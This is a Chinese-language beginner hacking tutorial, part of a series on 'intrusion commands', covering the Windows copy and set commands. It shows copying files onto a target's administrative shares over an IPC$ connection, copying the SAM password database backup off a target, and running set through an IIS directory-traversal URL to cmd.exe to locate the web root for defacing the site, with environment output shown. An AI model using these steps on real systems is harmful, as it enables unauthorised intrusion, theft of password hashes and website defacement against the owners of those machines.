黑客新手必學的入侵命令(3)
黑客入侵命令—copy
下面我說說怎樣把本地的文件復制到對方硬盤上去,需要建立好IPC$連接才有效。
這里我們把本地C盤下的index.htm復制到127.0.0.1的C盤下:
- copy index.htm \\127.0.0.1\c$\index.htm
 - ----------------------
 
如果你要復制到D盤下把C改為D,就行了!
- copy index.htm \\127.0.0.1\d$\index.htm
 - ----------------------
 
如果你要把他復制到WINNT目錄里,就要把輸入:
- copy index.htm \\127.0.0.1\admin$\index.htm
 - admin$是winnt
 - ----------------------
 
要把對方的文件復制過來,順便告訴大家NT的備份的數據庫放在x:\winnt\repair\sam._ sam._是數據庫的文件名。
下面就把127.0.0.1的數據庫復制到本地C盤下:
- copy \\127.0.0.1\admin$\repair\sam._ c:\
 - ----------------------
 
黑客入侵命令—set
如果你跑進了一部機子,而且想黑他(這思想只能在特別時候才準有),當然他的80端口要開,不然你黑給誰看。這時需要用SET命令!下面是我得到的結果!我來分析它,只是找主頁在那而已。
- COMPUTERNAME=PENTIUMII
 - ComSpec=D:\WINNT\system32\cmd.EⅩE
 - CONTENT_LENGTH=0
 - GATEWAY_INTE**CE=CGI/1.1
 - HTTP_ACCEPT=*/*
 - HTTP_ACCEPT_LANGUAGE=zh-cn
 - HTTP_CONNECTION=Keep-Alive
 
HTTP_HOST=當前登陸者的IP,這里本來是顯示我的IP,被我刪除了
- HTTP_ACCEPT_ENCODING=gzip, deflate
 - HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
 - NUMBER_OF_PROCESSORS=1
 - Os2LibPath=D:\WINNT\system32\os2\dll;
 - OS=Windows_NT
 - Path=D:\WINNT\system32;D:\WINNT
 - PATHEXT=.COM;.EⅩE;.BAT;.CMD
 - PATH_TRANSLATED=E:\vlroot主頁放在的地址,只要你看到PATH_TRANSLATED=的后面就是主頁的存放地址。這里是E:\vlroot
 - PROCESSOR_ARCHITECTURE=x86
 - PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
 - PROCESSOR_LEVEL=6
 - PROCESSOR_REVISION=0303
 - PROMPT=$P$G
 - QUERY_STRING=/c+set
 - REMOTE_ADDR=XX.XX.XX.XX
 - REMOTE_HOST=XX.XX.XX.XX
 - REQUEST_METHOD=GET
 - script_NAME=/scripts/..%2f../winnt/system32/cmd.EⅩE
 - SERVER_NAME=XX.XX.XX.XX
 - SERVER_PORT=80
 - SERVER_PORT_SECURE=0
 - SERVER_PROTOCOL=HTTP/1.1
 - SERVER_SOFTWARE=Microsoft-IIS/3.0對方使用IIS/3.0
 - SystemDrive=D:
 - SystemRoot=D:\WINNT
 - TZ=GMT-9
 - USERPROFILE=D:\WINNT\Profiles\Default User
 - windir=D:\WINNT
 
粉紅色的那行就是對方主頁存放地址,這里告訴大家一個技巧,很笨的技巧啊,不過只能用這個方法才能100%的找到主頁的名稱,當你DIR這個目錄時,一定會看到很多文件,你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名,這樣只要看到和XX.XX.XX.XX看到的也面一模一樣,那么這就是主頁的名稱了。
copy和set命令是黑客學習歷程中比較基礎的命令,希望每一位想學習黑客技術的讀者多多關注這方面的內容。
【編輯推薦】















 
 
 
 
 
 
 